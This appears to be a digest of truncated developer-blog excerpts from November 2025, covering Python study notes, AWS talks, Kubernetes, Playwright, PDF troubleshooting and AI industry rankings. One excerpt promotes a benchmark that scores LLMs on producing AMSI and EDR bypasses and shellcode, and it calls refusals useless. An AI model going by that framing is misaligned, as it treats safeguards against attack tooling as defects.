Day 71 [November 16, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 70 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets As opposed to lists, we use tuples when we do not want the elements to be changed (Sweigart, n.d.) Summary: References: Halvorsen, H. (n.d.)._ Python_. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai Sweigart, A. I. (n.d.). 4.12: Tuples vs. lists, immutable vs. mutable. In LibreTexts, Making games with python and pygame (Sweigart). https://eng.libretexts.org/Bookshelves/Computer_Science/Programming_Languages/Making_Games_with_Python_and_Pygame_(Sweigart)/04%3A_Memory_Puzzle/4.12%3A_Tuples_vs._Lists%2C_Immutable_vs._Mutable  ( 6 min )

Sector HQ Weekly Digest - November 17, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 442385.7 | 343 events this week Anthropic - Score: 266113.1 | 51 events this week Amazon - Score: 135242.8 | 22 events this week Nvidia - Score: 128360.7 | 161 events this week Google - Score: 111135.8 | 125 events this week Microsoft - Score: 95559.7 | 99 events this week Meta - Score: 78015.6 | 61 events this week Apple - Score: 64936.3 | 94 events this week Tesla - Score: 41242.1 | 12 events this week AMD - Score: 40235.9 | 43 events this week ↑ Sony jumped 277 positions to #58 ↑ Stability AI jumped 183 positions to #78 ↑ Bytedance jumped 143 positions to #68 ↑ Scale AI jumped 122 positions to #66 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )

It's turtles all the way down Large companies' risk aversion creates a 77% chance they'll lose to startups in any single innovation race, despite near-certain startup success over multiple attempts. When a fast but unreliable competitor (hare) faces a slow but steady one (tortoise), the hare loses 77% of individual races but wins nearly all series of 100 races. Startups act as hares against large company tortoises: any single startup likely fails, but repeated attempts guarantee some will disrupt incumbents and capture massive value. Corporate risk aversion stems from judging projects individually as successes or failures, discouraging bets on volatile ideas with high potential but low expected value. 👉 Read full article  ( 6 min )

Speaker: Yoshi Yamaguchi @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=4jZ5A5lJHHQ Introduction to Profiling Definition of Profiler: A profiler is a type of telemetry that provides information about how well a system is performing and how much it is consuming system resources. Purpose of Profiling: Profiling helps investigate resource consumption in a program and provides statistical information on specific resource usage over a period. Difference from Tracing: Unlike tracing, which tracks resource consumption in a time series manner, profiling offers statistical information throughout a specific period. Famous Profiling Tools: Java: Java Flight Recorder (JFR) Python: cProfile (standard library) and line_profiler (third-party tool) Li…  ( 10 min )

The PDF was fine when I sent it to myself yesterday. Opened perfectly. Today, 10 minutes before I needed to walk my client through our proposal document: spinning wheel. Nothing. I tried Chrome. Firefox. Safari. Downloaded it three times. Restarted my laptop. Every minute that passed was one less minute to actually present. My client was already in the Zoom waiting room. This is that sick panic feeling where you realize you might actually have to tell a client "sorry, technical difficulties" and reschedule a meeting you spent two weeks preparing for. Here's what actually worked, and it's one of those "why isn't this more obvious" fixes: Right-click the PDF file → Properties Look at the bottom of the General tab If you see "This file came from another computer and might be blocked" with a checkbox Click "Unblock" → Apply File opens immediately Windows automatically blocks files downloaded from the internet as a security measure. PDFs are especially vulnerable to this because: They often come from email attachments They're frequently shared via cloud storage links Windows doesn't trust the source by default Try Adobe Reader DC instead of browser: Check file corruption: Disable Protected Mode in Adobe: Always test your presentation materials 30 minutes before the meeting, not 10. I learned that the hard way. 🔧 Free AI PDF Error Checker - Upload screenshot, get instant diagnosis 📚 Complete PDF troubleshooting guide 💬 Get live tech support Originally published on Medium  ( 7 min )

Speaker: Ray Goh @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=kkYuAUAggG8 Introduction to Kiro Kiro is similar to Visual Studio Code (VS Code) as it is forked from the VS Code base. Amazon has built additional features on top of it, making it a subscription-based service due to its reliance on underlying Large Language Models (LLMs) for agentic coding features. Spec Mode and Spec-Driven Development Spec Mode: A unique feature of Kiro called spec mode or spec-driven development. Traditional Vibe Coding: Most developers are accustomed to vibe coding, where they prompt a coding agent to assist with coding or debugging. Spec-Driven Development: A different approach to building software, starting from requirements, design, task planning, and fina…  ( 10 min )

My simple checklist of things to ask as a developer when doing a design review in e.g. Figma. Item Description Does it cover the happy case? Does it cover the empty case? E.g. if there are zero items in a list. Does it cover the error case? E.g. if fetching data failed. Does it cover the growth case? How do dynamic objects such as lists, text etc. grow beyond the fold or similar and how will the design react? Does it cover the shrink case? How do dynamic objects such as lists, text etc. shrink and how will the design react? Especially important for dropdowns. Is the flow clear? Is the flow from view to view or between elements clear?  ( 6 min )

Breaking Down API Defenses: UA - Cookies - Signatures Browser 🤖 Mai Chi Bao ・ Nov 17 #webdev #api #security #mrzaizai2k  ( 6 min )

Picking the right database in AWS can feel overwhelming. You're staring at more than 15 different options, and it's easy to get lost. Whether you're building a simple web app or a complex enterprise system, the database you choose really does shape your app's performance, scalability, and cost. No pressure, right? The key to choosing the right AWS database is matching your specific data model, performance needs, and access patterns to the strengths of each database type. You don't have to just guess, or pick whatever's trending - there's actually a solid framework to help you narrow things down fast. Let's walk through the most important factors to consider, then break down each AWS database type. By the end, you should have a clearer roadmap for this whole decision. Key Factors to Conside…  ( 10 min )

So Day F0 was the emotional dump. Day F1 is reality hitting back. I should've been studying. Exam today at 4pm. Assembly language—the fun stuff where you're basically talking to the CPU directly and one wrong move breaks everything. Did I study? Nope. Passed out instead. Woke up at 8am in full panic mode. Cracked open the assembly notes and started cramming. Instructions, registers, memory addressing—all of it flooding back in a caffeine-fueled blur. The exam was at 4pm. I had 10 hours. It wasn't ideal but it worked. Kind of. We'll see when results come out. Here's where it gets fun. Two lab exams. Same day. Back to back. Exam 1: PPL (Principles of Programming Languages) Prolog OCaml Functional programming stuff that makes your brain hurt in new ways Exam 2: DAA (Design and Analysis of Al…  ( 7 min )

TL;DR: RAG completo con Amazon Bedrock Knowledge Bases sobre tus propios PDFs en S3, usando Titan Embeddings para crear el índice vectorial y hacer consultas naturales con grounding en tus documentos. En ~25–35 minutos montas la arquitectura en us-east-1, validas respuestas, revisas costos, monitoreo y seguridad, y te llevas un blueprint sencillo para entender GenAI “de verdad” y poder explicarla a otros. Veremos: Creación del bucket S3, ingestión de documentos, generación de embeddings, configuración del índice vectorial y consultas inteligentes. Tiempo estimado: 25–35 min Decidí crear este lab porque quiero entender GenAI de verdad —no solo para un examen, sino para poder explicarlo, documentarlo y ayudar a otros que están empezando como yo. Este post es parte de mi proceso para crece…  ( 10 min )

TL;DR: I built this lab because I want to truly understand GenAI — not just for an exam, but to teach it, document it, and help others who are starting like me. These topics were tricky inside sandboxes, so now I’m rebuilding everything from scratch in a real AWS account to see how things work internally. Field Value CB Category AI/ML AWS Services Amazon Bedrock, Knowledge Bases, Amazon S3, Titan Embeddings Prerequisites AWS account, Bedrock enabled, S3 permissions, region: us-east-1 Estimated Cost Under \$0.50 Architecture See diagram below Why it matters Architecture / What you will build Prerequisites Step-by-step Validation & Testing Observability (CloudWatch) Security Best Practices Cost Analysis Troubleshooting What’s Next Official Resources Companies want to in…  ( 9 min )

Speaker: Mariana Chow @ AWS Community Day Hong Kong 2025 Summary by Amazon Nova https://www.youtube.com/watch?v=cgoFdt8ybwY Preparation and Planning Foundation: Testing Data Often overlooked but critical Task management system (e.g., Jira): Use webhooks to store updates in AWS S3 Swagger documentation: Provides API specifications and parameters Historical test cases: Allows verification and retesting of previous cases Connecting Data Sources Traditional methods have limited capability to find relationships Introduction of Large Language Models (LLMs) to bridge connections Example: Mariana (AWS career in cloud computing with AI) Dario (co-founder of Entropic, an AI company) Entropic developed a series of LLMs available through AWS Bedrock Execution AI-Driven Testing Wo…  ( 9 min )

Meme Monday! Today's cover image comes from last week's thread. DEV is an inclusive space! Humor in poor taste will be downvoted by mods. Reminder: Every day is Meme Monday on DUMB DEV ✨ DUMB DEV Community Memes and software development shitposting dumb.dev.to  ( 7 min )

Employing the right and the best web development company in Ashburn can do a ton for your online presence, enhancing it to an immense extent. For most businesses today, the primary way by which they can communicate with their potential customers is through their company's Website. Also, it is fundamental that your site is as receptive to their necessities as could be expected under any circumstances. Additionally, it needs to work as great on phones as it does on desktops. When you are done with the elements mentioned above, you can jump to more minute details for your Website to be engaging for your potential customers. Thusly, you need an amazing website to flourish in the online world. This is the reason you should consider getting an expert and respectable web development company in As…  ( 7 min )

Hey developers, let’s talk about a problem. That technical blog post you spent 20 hours writing. What if I told you they’re all about to become invisible? For the last twenty-plus years, we—the developers, the builders, the architects of the web—have operated on a simple contract: We build useful things, we mark them up with and tags, and Google sends us traffic. The "click" was the currency. We all learned the rules of Search Engine Optimization (SEO), and we built an entire digital economy on top of it. And then, in about 18 months, generative AI burned that entire economy to the ground. When a user asks Gemini, "What's the best laptop for a finance student under $1500?" they don't get a link to your e-commerce site. They get a perfect, synthesized, conversational answer. Th…  ( 12 min )

In November 2025, I came across an announcement on the Kubernetes blog – Ingress NGINX Retirement: What You Need to Know, which made me dig into how we control network traffic in Kubernetes workloads. In this series of blog posts, I will discuss network traffic in Kubernetes clusters, both inter-cluster and intra-cluster, and the various services offered by the hyper-scale cloud providers. In the first part of this series, I will discuss ingress (North-South) traffic to an application deployed on the Kubernetes cluster. Before we deep dive into the article, let's review some important concepts: North-South traffic: The network traffic flowing between external clients outside the cluster and services inside the Kubernetes cluster, encompassing both incoming requests and outgoing respo…  ( 10 min )

Did you know Playwright has two MCP servers. Yes kinda confusing, let me explain it. The Playwright MCP server is great from Browser Automation, filling out forms for example or even using so LLM's can verify their work by opening the browser and taking a page snapshot to see it actually implemented what it said it did. It is built in to GitHub Copilot Coding Agent so if you assign a pr to Copilot it will use Playwright which you can see in the session logs. It is very cool indeed. Then we have another Playwright MCP server called Playwright Test MCP which is built into Playwright test and is for, yes you guessed it, testing. It has some similar tools as the Playwright MCP server but it also has other ones that you only need if you are testing. It starts running when you use the Playwright Agents, Planner, Generator and Healer. However this MCP server only supports TypeScript/JavaScript for now. So depending on your needs you can use one MCP server or the other. The Playwright MCP server you need to install while the Playwright Test MCP server is installed when you run an npx command when using the latest version of Playwright. npx playwright init-agents --loop=vscode The installing of the MCP server is done for you and it doesn't matter what other MCP server you have as the agent will only use the tools that it has assigned to it. Check out the docs for more info on how to get started. Have fun and happy testing with Playwright MCPs https://playwright.dev/docs/test-agents https://github.com/microsoft/playwright-mcp  ( 7 min )

Choosing a WebGL/WebGPU engine is one of the most consequential decisions for any modern 3D application. For technical leads and architects, this choice is less about immediate features and more about long-term project durability, performance under scale, and workflow efficiency. A superficial comparison—Babylon is an engine, Three is a library—no longer cuts it. We need to analyze the fundamental architectural differences that dictate everything from real-time performance to asset pipeline complexity and long-term maintenance costs. This comparison steps beyond the feature list to provide a 360° technical analysis of Babylon.js and Three.js. We will dissect their core structures, examine how they handle real-world performance constraints, and evaluate their maturity in a production settin…  ( 12 min )

Month 1: 89 applications sent. 2 interviews. 0 offers. Month 2: 43 applications sent. 11 interviews. 3 offers. Same resume. Same qualifications. Completely different system. Let me paint a picture: You've got job links bookmarked in Chrome. Application deadlines scribbled on random sticky notes. Follow-up reminders buried in your phone. Interview notes scattered across three different notebooks. Sound familiar? This isn't just disorganization—it's self-sabotage. I learned this the hard way when I missed a second-round interview because I forgot which role it was for. I showed up prepared to talk about marketing strategy. They wanted to discuss sales operations. That embarrassment became my wake-up call. Everyone tells you the same thing: "It's a numbers game. Apply to 100 jobs and you'll …  ( 10 min )

Just want to see the code? https://github.com/IainMcHugh/start-r-query Having used tanstack start for some months now, it has definitely become my preferred application starter in terms of developer experience. There is something about the end-to-end router type safety that scratches an itch my brain never knew it had. When you extract type safe query parameters from Route.useParams() that you validated as part of the createFileRoute(), something clicks that simply cannot be un-clicked. What's more, it has provided me with a great ingress into the world of vite as a build system solution. The automatic boilerplate code that gets created when adding a new route file seems like such a quirky feature in some ways but I absolutely love it. How the routerTree.gen.ts is exposed for all those cur…  ( 12 min )

Introduction I’ll be honest with you: “Let me reverse-engineer TikTok today.” It started with something much simpler: “I just want to upload videos to TikTok programmatically… No matter what I tried — simple requests, faked headers, even stolen cookies — TikTok kept slamming the door in my face. But every failure taught me something. So I dug in. And in this post, I’ll take you through the exact journey — from the most naive HTTP request… all the way to running TikTok’s own obfuscated JavaScript in a Node VM to generate browser signatures. All code here comes from my real TikTok automation stack (based on my repo: github.com/mrzaizai2k/auto_tiktok). Raw Request — My First Dumb Attempt User-Agent — “Fine, I’ll Pretend to Be Chrome” Cookies — The Real Passport Browser Signatures — When Tik…  ( 14 min )

Quantum Trackers: Unlocking the Secrets of Particle Paths with Quantum Algorithms Imagine trying to piece together a complex jigsaw puzzle, but the pieces are tiny particles whizzing around at near light speed. That's the challenge facing physicists trying to reconstruct particle tracks in high-energy experiments, a computational bottleneck that could be broken by quantum computing. The core idea is to leverage quantum mechanics to efficiently solve complex optimization problems inherent in track reconstruction. We're basically searching for the 'best fit' line or curve that connects a series of detector hits, but in a very high-dimensional space. By formulating this as a ground-state energy problem or a system of linear equations and using tailored quantum algorithms, we can potentially…  ( 7 min )

🚀 Master Shopify Theme Development with JavaScript: Build Real Features Step-by-Step If you're a Shopify theme developer looking to upgrade your JavaScript skills, this hands-on course is made just for you. Instead of learning theory, you’ll build real Shopify features using JavaScript, Liquid, Shopify CLI, AJAX API, Web Components, and the Section Rendering API — the exact tools modern Shopify brands rely on. Whether you're a beginner learning Shopify development or an experienced freelancer wanting to sharpen your workflow, this course helps you build fast, dynamic, app-free functionality used by high-performing Shopify stores. By the end of this course, you’ll know how to build clean, optimized, and fully functional Shopify features from scratch — no heavy apps needed. ✔ Work with Sh…  ( 7 min )

Chrome extensions let you customize the browser in ways that go far beyond simple settings or themes. They can block ads, automate repetitive tasks, enhance your favorite sites, or reshape the browser interface entirely. If you've ever wished a website or the browser itself behaved just a bit differently, chances are an extension already exists to do exactly that. Learning how to build extensions opens up a space where familiar web technologies gain access to native browser capabilities. You can tap into APIs that ordinary web pages cannot use, allowing your code to run in the background, react to browser events, store data, and integrate deeply into how people work online. And now, with built-in AI models available directly in Chrome, extensions can go even further. You can generate text …  ( 22 min )

https://www.greatfrontend.com/ https://leetcode.com/studyplan/top-interview-150/ Cracking FAANG-level coding interview questions can be daunting, but having a solid set of templates can significantly boost your confidence and efficiency. In this article, I’ll share essential algorithms and data structure templates with challenging examples, designed to prepare you for top-tier tech interviews. Find the length of the longest substring without repeating characters. function lengthOfLongestSubstring(s) { const seen = new Set(); let left = 0, maxLen = 0; for (let right = 0; right < s.length; right++) { while (seen.has(s[right])) { seen.delete(s[left]); left++; } seen.add(s[right]); maxLen = Math.max(maxLen, right - left + 1); } return maxLen; } Given an a…  ( 11 min )

The Architecture Nobody Talks About: How I Built Systems That Actually Scale (And Why Most Don't) Let me tell you about the worst production incident of my career. It was 2:47 AM on a Tuesday. My phone lit up with alerts. Our main API was returning 503s. Database connections were maxing out. The error rate had spiked from 0.01% to 47% in under three minutes. We had gone from serving 50,000 requests per minute to barely handling 5,000. I rolled out of bed, fumbled for my laptop, and SSH'd into our monitoring dashboard. My hands were shaking—not from the cold, but from the realization that I had no idea what was happening. We had load balancers, auto-scaling groups, Redis caching, database read replicas, the works. We had "followed best practices." We had built for scale. Or so I thought. W…  ( 33 min )

Wallet UX has changed massively in the past ~18 months. What used to be a choice between custodial vs self-custodial is now a five-dimension decision: custody model onboarding UX hosting + control long-term portability session & automation support There is no universal “best wallet SDK”, only best-fit per product category. This guide helps you define evaluation criteria, compare providers, and avoid accidental lock-in. 📌 Evaluation criteria (2025 spec) Below are the criteria teams should evaluate with equal weight — not just features: Category Why it matters Questions to ask Custody model Determines control, security & compliance surface Who holds recovery authority? Can users export keys? Portability / exit plan Avoid infra lock-in Can we self-host later? Can users keep wallet…  ( 7 min )

I launched https://dotnetnews.co over a year ago to help my fellow C# devs keep up on all the latest developer articles. We finally hit over 2,000 subscribers! If anyone has any ideas on how to make it better I'd love to hear from you. -feech  ( 6 min )

Salesforce has officially entered the world of free tools — and this time, it's big. To support startups, freelancers, and small businesses, Salesforce has launched a Forever-Free CRM Suite that offers core sales, service, and marketing features with zero cost. This move has the potential to shake up the entire CRM market, especially for small teams that rely heavily on spreadsheets and manual processes. Salesforce Free Suite is a no-cost CRM designed specifically for small teams (up to 2 users). It includes: Lead Management Opportunity Pipeline Contact & Account Management ✔️ Service Features Case Management Basic Knowledge Base ✔️ Marketing Features Email Marketing (100 emails/month) Ready-made templates ✔️ Productivity Tools Dashboard…  ( 7 min )

Most developers don’t write raw Promises every day — we use tools like useQuery, axios, or helper libraries that wrap everything for us. But when it comes to debugging, reading polyfills, or understanding what those tools are actually doing, everything goes back to Promises. And especially today, when many beginners rely on AI to generate code, it's super important to truly understand what Promises are doing under the hood. So let’s start slow, simple, and clear. Step-by-step.— a zero-to-hero journey into JavaScript Promises. चलो शुरू करते हैं. A Promise is an object that represents the eventual completion (or failure) of an asynchronous operation and its resulting value. Okay, so you’re here — which means either an interview is coming up soon, or you’re just genuinely curious about how Pr…  ( 8 min )

Hey Dev Community! 👋 I'm on a mission to build, ship, and share everything I learn in AI, Web Development, Blockchain, Growth Hacking, and Indie Hacking — all in public. If you're obsessed with: ⚡ Insanely practical coding tutorials 🤖 AI tools, prompts, and workflows 🛠️ Real-life projects built from scratch 🔥 Growth strategies for devs and creators 💼 Shipping ideas fast (and actually finishing them) Then you’re going to love what I drop on X (Twitter) every single day. Actionable Dev Tips No fluff. Just real examples, code snippets, and things you can implement today. Public Building I share everything I’m working on — wins, mistakes, failures, breakthroughs. Viral-Level AI Prompts Prompts for devs, designers, marketers, founders. Mini Deep-Dives On frontend, backend, full-stack architecture, and smarter workflows. Motivation for Builders Because dev burnout is real. Because I'm not just tweeting — I'm designing content to make you level up fast. I break down: How to think like a developer How to move faster as a builder How to turn simple ideas into real projects How to use AI to supercharge your workflow All in 30–180 second reads. Ask a question? I reply. I’m building a community of sharp developers, indie hackers, and technical creatives. This isn’t a typical "follow me" pitch. This is an invite to a high-signal feed. 👉 https://x.com/Arnaud_Kennedy Drop a ❤️ or leave a comment. Let’s grow together. — Kennedy  ( 7 min )

How We Reduced 99.6% Load Time in a Tableau Workbook: Origins, Applications, and Real Case Studies Dipti ・ Nov 17 #webdev #ai #programming #blockchain  ( 6 min )

The latest quarterly trend report by resale platform StockX has seen Asics retain the position of leading brand in the market. In ‘Big Facts: 2025 Trends’, which covers data over the quarter July 1 to September 30, as well as for the year to October, StockX said Asics’ growth continued, with quarterly sales for the footwear brand growing 45 percent year-over-year. Its Gel-1130 in black/pure silver also currently holds the top spot as 2025’s best-selling sneaker on the platform. Asics’ ability to maintain its leading position reflects a wider shift in the market that has seen running brands once considered niche now dominate attention among resale. Such brands have therefore welcomed strong growth over the reporting period. Brooks, for example, saw a 1,508 percent uptick in sales, while Sau…  ( 7 min )

Hey devs 👋, I’ve been building full-stack apps for years, and one thing always annoyed me: Why are we still manually setting up proxies, fixing CORS, remembering build folders, and running two servers… just to connect a frontend and backend? So I built a solution. This small library automatically connects any modern frontend (React, Vite, Vue, Angular, Svelte, Nuxt, or even static HTML) to your Express backend — in both development and production. 👉 No proxy configs Just one line: include(app, '../frontend'); …and everything works. I kept seeing the same frustrations: Frontend on 5173, backend on 3001 Vite proxy issues Random CORS errors Different dev vs production setups Confusing deployment steps I wanted something that just works, with one unified URL during development and a clean production flow. Now it does. Detects your frontend framework Starts the frontend dev server automatically Proxies /api/* requests to Express Sends all other routes to the frontend dev server Full HMR support Eliminates CORS completely One single origin for the entire stack Detects your dist / build folder Serves the optimized frontend build Handles SPA routing (index.html fallback) Express continues serving your API normally Zero config. Zero stress. const express = require('express'); const include = require('express-auto-frontend'); const app = express(); const PORT = 3001; app.get('/api/message', (req, res) => { res.json({ message: 'Hello from the backend!' }); }); include(app, '../frontend'); app.listen(PORT, () => console.log(`Server running at http://localhost:${PORT}`) ); That’s literally all you need. React (Vite + CRA) Vue (CLI + Nuxt) Angular Svelte / SvelteKit Static HTML or Pug npm i express-auto-frontend Package: express-auto-frontend 1.0.2 15 hours ago I built this because full-stack development should feel smooth, not painful. If you want to reach out, collaborate, or share feedback, contact me at: silivestirassey@gmx.com Happy hacking! ⚡ Silivestir / splannes  ( 7 min )

As engineers, we build systems. We design architecture, define APIs, and write code that solves complex problems. But once the product is built, another system comes into play: marketing. For many of us, it feels like a black box with unpredictable outputs. What if we treated a B2B marketing plan not as a fluffy slide deck, but as a system architecture document? A well-defined, version-controlled plan for your growth engine. This guide is for developers, by a developer-minded marketer. We're going to architect a B2B marketing plan from scratch. Forget the jargon; let's talk specs, metrics, and implementation. I've even included a B2B_Marketing_Plan.md template you can fork and use. Think of your marketing plan as the README.md and core architecture for your Go-to-Market (GTM) strategy. It’…  ( 9 min )

If you have ever watched an NBA game and felt that it looks more like a math experiment than the old-school battles in the paint, you are not wrong: modern basketball is built on space, pace, and probability. A great breakdown of this logic is captured in this deep dive on how modern basketball really works, which mirrors the way front offices and coaching staffs actually think about the game and its numbers. The classic narrative was simple: feed the big man, win the battle on the boards, and live in the midrange. Today, the court is stretched to the logo, seven-footers run fast breaks, and teams willingly give up long twos while aggressively running shooters off the three-point line. Under the hood, this is not chaos. It is a rational response to a game where every possession is a probab…  ( 10 min )

Every tech cycle has its hype phase, but by 2025 artificial intelligence is quietly moving from spectacle to plumbing. As outlined in this deep dive on how AI is turning into infrastructure in practical settings, AI in 2025: From Impressive Demos to Reliable Everyday Infrastructure, the real story is no longer about viral demos but about stable systems that power decisions, workflows, and interfaces we use daily without even realising it. For years, AI conversations were dominated by viral videos: robots doing backflips, chatbots writing poems, models generating surreal images. These moments were fun — and genuinely important for research — but they also created a distorted perception. AI looked like a series of party tricks instead of a dependable layer of infrastructure. In 2025, the shi…  ( 10 min )

TL;DR Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s cult classic Snake Eyes (starring Nicolas Cage, Gary Sinise, and Carla Gugino), trading hot takes and deep dives from “the sewer.” Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is your ticket to revisiting De Palma’s gritty, twist-filled thriller. This chat is brought to you by PayPal—get 5% cash back on all Pay in 4 holiday purchases through 12/31. Plus, don’t forget to subscribe to The Ringer on YouTube and follow their socials for more movie musings! Watch on YouTube  ( 6 min )

If you’ve ever worked with a startup codebase or a decades-old legacy system, you already know the truth: Both are confusing in totally different ways — but for an AI model, they’re equally unreadable without real context. In 2025, every company wants to use LLMs to generate documentation, refactor old systems, or speed up onboarding. But here’s the catch: 🧠 LLMs don’t magically “understand your code.” This is exactly why tools like Everdone’s CodeDoc exist: to turn messy, fast-moving codebases into structured, contextualized knowledge that an LLM can actually use. Let’s break down the two worlds — startup and legacy — and why both of them desperately need code-grounded AI. 🚀 1. Startup Codebases: Fast, Fragile, and Evolving Daily Startup code is chaotic by design: features ship before…  ( 8 min )

Have You Ever Wondered How Self-Driving Cars Work? They use something called machine learning in cars to see the road, make decisions, and drive safely. This technology is like giving cars a brain that can learn and improve over time. In this article, we'll explain how machine learning in cars works in simple terms that anyone can understand. We'll look at how cars "see" the world, make decisions, and get better at driving with practice. Machine learning in cars is a type of artificial intelligence that allows vehicles to learn from experience and data instead of following fixed programming. It helps self-driving cars recognize objects, predict what might happen next, and make safe driving decisions. The car's computer brain improves its skills over time as it processes more driving data…  ( 10 min )

“Your funds have been temporarily withheld for routine review.” Seven words that can bankrupt a merchant overnight. In 2023 alone, centralized crypto-payment processors froze >$1.2 B of merchant working capital—more than the entire GDP of some island nations. The reason? KYC drift, sanctions-list churn, or a risk-scoring algorithm that flagged a wallet three hops away from a mixer. Merchants signed up for “borderless payments,” but woke up inside a new kind of banking cage. This article is a tactical deep-dive into how we got here, why stablecoins + privacy + self-hosting are the only viable exit ramp, and how PayRam delivers censorship-free payments without compromising chargeback protection, fiat settlement, or UX polish. If you build, sell, or simply transact on the internet, treat…  ( 10 min )

hi, as a developer who uploads some PDF files to some online services such as government websites, your company cloud, visa websites etc. Imagine, you need to upload a PDF image, but the file is too large and the website doesn’t accept it. So, you search on Google: “How to compress a PDF?’’ and websites like PDFescape, Smallpdf, or iLovePDF appear in your search results. These tools are helpful, but they also come with hidden risks. (at least i feel like that) Benefits: Note: Never upload a PDF file that has your personal information like ID, passport number, address, full name, mobile phone and so on. Soooo, I have created a software i named SafePDF, now i realized many app named with same name but ok :P It is a privacy-focused offline tool for PDF manipulation. You can merge, compress, split, and organize your PDF files securely without internet connection, your documents stay local and safe. Some screenshots: You can contribute and see my project on GitHub: https://github.com/mcagriaksoy/SafePDF  ( 6 min )

INTRO A while ago, I had this galaxy–brain idea: “Yo, why don’t I contribute a MiniScript article to Learn X in Y Minutes? That would be kinda cool.” So, like the overconfident developer-student hybrid I am, I opened the LearnXInYMinutes repo, checked their docs, and saw the instructions: “Just pick any existing language article and use it as a reference.” Cool. Easy. No big deal. Obviously, I picked the GDScript article because Godot supremacy 🛐 I went full speedrun mode — forked the repo, made my own file, wrote the entire MiniScript version like a proud dev contributing to humanity. Then I tried saving the file as: miniscript.md And boom. ERROR. File exists. That’s when I realised the most painful plot twist: The MiniScript article was ALREADY DONE. 😭😭😭 Bro, I felt like I spent 3 …  ( 8 min )

Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* Running modern small LLMs locally has become insanely easy on Linux with GPU acceleration, Docker, and Ollama, there are a few gotchas. This post walks through the entire real-world setup: Choosing the right models for a 4GB GPU Installing Phi & Gemma with Ollama Fixing NVIDIA Docker GPU runtime Evaluating WebUI options (Jan vs AnythingLLM vs Open WebUI) Running Open WebUI fully GPU-accelerated Fixing Ollama networking issues Let’s go step by step. 1. Choosing the right small models You have: GTX 1650 (4GB VRAM) 16GB RAM So the “sm…  ( 9 min )

Docker storage drivers are components responsible for managing the way Docker containers and images are stored on disk. Different storage drivers offer varying performance characteristics, capabilities, and compatibility with different storage technologies. To use storage drivers effectively, it’s important to know how Docker builds and stores images, and how these images are used by containers. You can use this information to make informed choices about the best way to persist data from your applications and avoid performance problems along the way. 👉 Storage drivers VS Docker volumes Storage drivers and Docker volumes are both integral components of Docker containers, but they serve different purposes and operate at different levels within the Docker architecture. Storage Drivers: Stor…  ( 10 min )

How to objectively measure if an AI assistant is truly useful for real-world penetration testing — or just another censored chatbot. Modern LLMs are often heavily aligned, refuse to generate exploit code, or hallucinate technical details — making them useless in real red team engagements. This benchmark provides: 12 targeted questions covering 2023–2025 red team trends (ADCS, NTLM relay, EDR bypass, shellcode), Clear pass/fail criteria, Automated evaluation via Ollama/LM Studio, Reference answers for ground-truth comparison. Use it to vet local LLMs like Mistral-7B-Base, Llama-3.1-Minitron, or Dolphin before trusting them in a pentest. Each question tests uncensoredness + technical accuracy. Full details in benchmark.json. # Topic Key Skill Tested 1 AMSI Bypass WinAPI P/Invoke in Po…  ( 8 min )

Amazon's journey from an online bookstore to a global retail behemoth is a story taught in business schools worldwide. While many factors contributed to this meteoric rise, a key element of its strategy is the Amazon Marketplace. This model, which allows third-party sellers to list and sell products directly on Amazon.com, has been a game-changer, fundamentally reshaping the e-commerce landscape and solidifying Amazon's dominant market share. Amazon's marketplace model is a masterclass in platform strategy. By creating a system that aligns the interests of consumers (low prices, vast selection, fast shipping) with the needs of sellers (access to customers, simplified logistics), Amazon has built a self-reinforcing ecosystem that is incredibly difficult to replicate. The combination of the endless aisle, intense price competition, the FBA logistics network, and the strategic use of data creates a powerful moat around its business. Each element strengthens the others, driving a flywheel of growth that continually expands its market share. While the model has faced criticism regarding its treatment of sellers and its use of data, its effectiveness as a business strategy is undeniable. As long as the marketplace continues to deliver unparalleled value to customers, it will remain the central pillar of Amazon's retail empire.  ( 9 min )

Introduction Hi, guys! Recently, I spent some time improving my React skills. And the feeling that I will never know enough never goes away, but that is another talk. Just know it is perfectly normal to feel this way. This is how I found out about React Hook Form. Ok, actually, it wasn't first time I heard about it, but now I just decided to learn more about it. So I just read their docs a little bit and decided I will share the knowledge with you. I won't dive too deep into the subject. The goal is to get as familiar as possible with this library. So let's get started! It is a light library that helps you manage forms easily in React. What it offers: Light Provides an intuitive experience, with rich features, all of these while staying light and not relying on other dependencies. Perfo…  ( 14 min )

If you’re looking to bring your website to life with smooth, high-performance animations, look no further than the GreenSock Animation Platform (GSAP) is a powerful JavaScript library for creating high-performance animations. It allows you to animate CSS properties, SVG, canvas, and more with ease. Below is a step-by-step guide to using GSAP: GSAP, or the GreenSock Animation Platform, is a powerful JavaScript library for creating high-performance animations. It is widely used by web developers and designers to animate HTML, CSS, SVG, and canvas elements. GSAP is known for its speed, flexibility, and ease of use, making it a popular choice for both simple and complex animations. Performance: GSAP is optimized for performance, ensuring smooth animations even on low-powered devices. C…  ( 8 min )

